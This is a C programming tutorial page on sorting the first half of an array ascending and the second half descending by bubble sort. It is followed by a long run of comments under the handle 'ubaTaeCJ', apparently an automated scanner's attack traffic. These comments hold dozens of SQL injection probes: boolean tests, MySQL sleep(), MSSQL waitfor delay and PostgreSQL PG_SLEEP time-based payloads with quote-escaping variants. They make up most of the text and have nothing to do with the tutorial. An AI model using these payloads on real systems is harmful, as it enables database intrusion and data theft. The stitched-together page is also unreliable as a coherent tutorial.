# C Program to sort half of the Array elements in ascending order and next half in descending order

Get array size n and n elements of array, then sort the first half elements of array in ascending order and sort second half elements of array in descending order.

Sample Input 1:

5 5 7 9 3 1

Sample Output 1:

1 3 9 7 5

#### Program or Solution

``` #include<stdio.h> #include<stdlib.h> int main() { int *a,n,i,j,temp; printf("Enter size of array:"); scanf("%d",&n); a=malloc(sizeof(int)*n); printf("Enter %d Elements:",n); for(i=0;i<n;i++) { scanf("%d",&a[i]); } for(i=0;i<n-1;i++) { for(j=0;j<n/2;j++) { if(a[j]>a[j+1]) { temp=a[j]; a[j]=a[j+1]; a[j+1]=temp; } } for(j=n/2;j<n-1;j++) { if(a[j]<a[j+1]) { temp=a[j]; a[j]=a[j+1]; a[j+1]=temp; } } } printf("After sorting first half in ascending and second half in descending order:\n"); for(i=0;i<n;i++) { printf("%d ",a[i]); } return 0; } ```

#### Program Explanation

Bubble Sort Algorithm: Refer : https://www.tutorialspoint.com/data_structures_algorithms/bubble_sort_algorithm.htm

##### ubaTaeCJ
-1 OR 2+820-820-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+820-820-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+820-820) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+820-820) --
##### ubaTaeCJ
-1 OR 2+372-372-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+372-372-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+372-372)
##### ubaTaeCJ
-1 OR 3*2>(0+5+372-372)
##### ubaTaeCJ
-1' OR 2+190-190-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+190-190-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+190-190) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+190-190) --
##### ubaTaeCJ
-1' OR 2+203-203-1=0+0+0+1 or 'xN2AXWMN'='
##### ubaTaeCJ
-1' OR 3+203-203-1=0+0+0+1 or 'xN2AXWMN'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+203-203) or 'xN2AXWMN'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+203-203) or 'xN2AXWMN'='
##### ubaTaeCJ
-1" OR 2+393-393-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+393-393-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+393-393) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+393-393) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
bMVjHdq1'; waitfor delay '0:0:3' --
##### ubaTaeCJ
-5 OR 532=(SELECT 532 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 474=(SELECT 474 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 858=(SELECT 858 FROM PG_SLEEP(15))--
##### ubaTaeCJ
s1sJzHHk' OR 89=(SELECT 89 FROM PG_SLEEP(15))--
##### ubaTaeCJ
550A82Vu') OR 263=(SELECT 263 FROM PG_SLEEP(3))--
##### ubaTaeCJ
4HSUgTBl')) OR 62=(SELECT 62 FROM PG_SLEEP(15))--